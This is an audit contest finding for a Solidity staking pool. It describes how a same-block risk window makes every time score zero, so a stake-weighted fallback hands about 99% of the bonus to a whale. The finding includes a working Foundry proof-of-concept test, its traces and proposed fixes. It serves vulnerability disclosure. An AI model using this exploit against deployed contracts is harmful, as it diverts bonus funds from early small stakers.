FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Same-Block Risk-Window Degeneracy Lets Whale Capital Bypass k=2 Late-Entrant Protection

Author Revealed upon completion

Description

DESIGN promises that stakers who join under `UNDER_ATTACK` earn negligible bonus: k=2 time-weighting crushes late entrants because entry time is floored at `riskWindowStart`, making `(T − entry)² ≈ 0`. When the risk window opens and closes in the same block (`riskWindowStart == riskWindowEnd == block.timestamp`), every staker's time score collapses to zero, including pre-risk depositors whose entry is floored to `riskWindowStart`. When `globalScore == 0`, `_bonusShare` falls back to an amount-weighted split proportional to `eligibleStake`.

A whale who stakes a large amount under `UNDER_ATTACK` in that same block before `flagOutcome(SURVIVED)` captures ~99% of the bonus with ~1% time risk. This is not flash-loanable (stake must remain locked post-resolution), but is exploitable with whale capital and same-block registry transitions via permissionless `pokeRiskWindow()`.

```solidity
// ConfidencePool._bonusShare — degenerate fallback
// @> when all time scores are zero, bonus splits by stake amount not time risk
if (globalScore == 0) {
return (totalBonus * eligibleStake[user]) / totalEligibleStake;
}
// Same-block window: riskWindowStart == riskWindowEnd == block.timestamp
// @> Alice (pre-risk): entry floored to riskWindowStart → score = 0
// @> Whale (same block): entry = block.timestamp → score = 0
// @> globalScore == 0 → amount-weighted → whale dominates
```
PoC numbers (1000e18 bonus pool):
| Staker | Stake | Bonus share |
|--------|-------|-------------|
| Alice | 100e18 | ~9.9e18 (~1%) |
| Whale | 10,000e18 | ~990e18 (~99%) |
When the window spans multiple blocks, k=2 works as documented, a whale staking 10,000e18 twenty-one days after `UNDER_ATTACK` earns less than 1/100 of Alice's bonus.

Risk

Likelihood:

- Permissionless `pokeRiskWindow()` allows any caller to observe `UNDER_ATTACK` and `PRODUCTION` in the same block, zeroing the time spread before the moderator flags `SURVIVED`.

- A whale with sufficient capital stakes under `UNDER_ATTACK` in that same block, no moderator cooperation required.

- Registry transitions in a single block occur naturally during rapid incident resolution on L2s.

Impact:

- Early small stakers who bore calendar risk lose ~99% of the bonus pool to a same-block whale who bore no meaningful time risk.

- Direct economic harm: bonus (the insurance premium) is captured by capital, not time, undermines the k=2 confidence mechanism for this degenerate timing.

- Principal is returned, but the bonus diversion contradicts DESIGN §3's documented late-entrant protection.

Proof of Concept

```bash
forge build
forge test --match-contract PoC_MWhale_SameBlockK2BypassTest -vvvv
```
| Path | Role |
|------|------|
| `test/audit/PoC_MWhale_SameBlockK2Bypass.t.sol` | Standalone PoC |
| `test/helpers/BaseConfidencePoolTest.sol` | Pool + mock registry `setUp()` |
---
### Reviewer copy-paste setup (clean official contest repo)
All paths relative to **`repo/`**.
**Step 1 — Prerequisites**
```bash
cd repo
git submodule update --init --recursive
forge build
```
**Step 2 — Create the PoC test file**
Create **`test/audit/PoC_MWhale_SameBlockK2Bypass.t.sol`** and paste:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @title PoC — same-block risk window lets whale capture ~99% of bonus (amount-weighted fallback)
contract PoC_MWhale_SameBlockK2BypassTest is BaseConfidencePoolTest {
function _flagSurvived() internal {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function _claimSurvivedPayout(address user) internal returns (uint256 payout) {
uint256 before = token.balanceOf(user);
vm.prank(user);
pool.claimSurvived();
payout = token.balanceOf(user) - before;
}
function test_PoC_sameBlockRiskWindow_whaleCapitalDominatesBonus_notFlash() external {
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
address whale = makeAddr("whale");
token.mint(whale, 10_000 * ONE);
vm.startPrank(whale);
token.approve(address(pool), 10_000 * ONE);
pool.stake(10_000 * ONE);
vm.stopPrank();
_contributeBonus(carol, 1_000 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
_flagSurvived();
uint256 aliceBonus = _claimSurvivedPayout(alice) - 100 * ONE;
uint256 whaleBonus = _claimSurvivedPayout(whale) - 10_000 * ONE;
assertGt(whaleBonus, aliceBonus * 50, "amount-weighted fallback favors whale");
assertApproxEqAbs(aliceBonus + whaleBonus, 1_000 * ONE, 3);
}
}
```
**Step 3 — Run**
```bash
forge test --match-contract PoC_MWhale_SameBlockK2BypassTest -vvvv
```
```
[PASS] test_PoC_sameBlockRiskWindow_whaleCapitalDominatesBonus_notFlash() (gas: 679046)
Traces:
[679046] PoC_MWhale_SameBlockK2BypassTest::test_PoC_sameBlockRiskWindow_whaleCapitalDominatesBonus_notFlash()
├─ stake(alice, 100e18)
├─ pokeRiskWindow() → emit RiskWindowStarted(timestamp: 1750000000)
├─ stake(whale, 10000e18) under UNDER_ATTACK
├─ pokeRiskWindow() → emit RiskWindowEnded(timestamp: 1750000000) // same block as start
├─ flagOutcome(SURVIVED)
├─ claimSurvived() [alice]
│ └─ emit ClaimSurvived(principal: 100e18, bonusShare: 9900990099009900990 [~9.9e18])
├─ claimSurvived() [whale]
│ └─ emit ClaimSurvived(principal: 10000e18, bonusShare: 990099009900990099009 [~990e18])
└─ assertGt(whaleBonus, aliceBonus * 50) ✓
Suite result: ok. 1 passed; 0 failed; 0 skipped
```

Recommended Mitigation

Require `riskWindowEnd > riskWindowStart` (minimum one block) before the amount-weighted fallback applies, or revert flag when the window is zero-length.

Exclude same-block `UNDER_ATTACK` deposits from bonus: track `stakeBlock[user]` and assign `bonusShare = 0` when `stakeBlock == riskWindowStart == riskWindowEnd`.

Align DESIGN §3 and §7: document that §3 negligible-bonus rule does not apply when §7 fallback triggers, or fix implementation to match §3.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!